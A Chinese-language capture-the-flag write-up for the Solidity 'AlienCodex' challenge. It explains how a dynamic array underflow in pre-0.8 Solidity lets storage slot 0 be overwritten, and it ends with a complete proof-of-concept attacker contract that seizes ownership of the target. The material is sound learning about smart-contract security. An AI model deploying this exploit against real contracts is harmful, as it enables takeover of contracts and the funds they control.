AlienCodex-wp
AlienCodeX
这道题综合利用了 solidity 低版本的一些特性,并且是两种环环相扣,最终才会实现这种难以预料的情况发生。
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
首先分析源码,发现合约版本 5.0(对于合约版本 < 8.0 的需要留意上下溢出)
刚开始做的时候,不知道继承合约会把原合约中的状态变量一块继承,也算是找到了一个盲点。
在 EVM 中,变量存储都是存在插槽(slot)中的,一共有 2*256 个正好对应 sha256。所以*slot0存储的是父合约(Ownable)中的地址类型变量(推断出来的,因为这道题的目标是成为 Owner)。
而想要成为 Owner,在这个合约是没有函数的,但是,存在函数retract()
,该函数可以减少bytes32[] codex
的长度(在 Solidity 0.8 版本之前,动态数组没有内置 pop 方法来删除最后一个变量,只能通过array.length--
的方式)这里就出现了问题:Solidity < 0.8 版本存在溢出问题,可以利用该函数,使得动态数组下溢,因为 EVM 只有 `2 256`个插槽,下溢后,动态数组覆盖了所有的插槽,这样就可以直接覆盖 slot0 修改 Owner 为我们自己**。
还有一点就是关于:动态数组的实际存储位置(之前的博客文章——Yul内联汇编入门里有写)然后在我尝试攻击的时候,忽略了几个点:
keccak256(abi.encode(uint256("实际插槽位置")))
,我使用的是。abi.encodePacked
紧密打包方式,这里错了进制转换的问题:
我最开始的转换方式为:bytes32(bytes20(uint160(msg.sender)))
- 而实际上的转换方式为:
bytes32(uint256(uint160(msg.sender)))
一眼看上去没什么区别,但是这涉及到了显示转换补码的方式(之前的博客文章——solidity类型转换相关有写):
uint
这一类(包括int
)显示转换的时,举例:高位转低位:保留低位
uint32 --> uint16: 0x12345678 --> 0x5678
低位转高位:前补零
uint16 --> uint32: 0x5678 --> 0x00005678
bytes
类:- 高位转地位:保留高位
bytes2 --> bytes1: 0x1234 --> 0x12
- 低位转高位:后补零
bytes1 --> bytes2: 0x12 --> 0x1200
- 高位转地位:保留高位
所以现在不难发现我的问题了:
- 我得到的:
0xaddress000...
- 实际上的:
0x000...address
完整的 PoC:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IAlienCodex {
function contacted() external;
function makeContact() external;
function record(bytes32 _content) external;
function retract() external;
function revise(uint i, bytes32 _content) external;
function owner() external returns(address);
}
contract Hack {
constructor(address target) {
IAlienCodex(target).makeContact();
IAlienCodex(target).retract();
uint256 slot;
slot = uint256(keccak256(abi.encode(uint256(1))));
uint256 i = 0;
unchecked {
i -= slot;
}
IAlienCodex(target).revise(i,bytes32(uint256(uint160(msg.sender))));
require(IAlienCodex(target).owner() == address(msg.sender), "hack failed");
}
}
补充:由于源码中涉及到了修饰符contacted
绕过这个需要调用一次函数makeContact
。
关于 slot0 对应的字节数组序号,这就涉及到数学计算了:我们通过slot = uint256(keccak256(abi.encode(uint256(1))))
得到了动态数组中第一个元素的实际存储位置,数组中一共有2 ** 256
个变量,第一个是变量slot
对应的位置,而 0 对应的数组序号,一样利用下溢计算即可,即0 - slot
。由于我们 PoC 的合约版本 > 0.8 所以利用下溢时,需要使用unchecked
代码块,取消内置的溢出检测。
还有一个可以优化的点,在构造函数中,我传入的类型为address
地址类型,但实际上,可以直接传递IAlienCodex
这个接口类型,后续的书写会简单很多,直接target.函数名
即可,而我现在的就比较麻烦IAlienCodex(target).函数名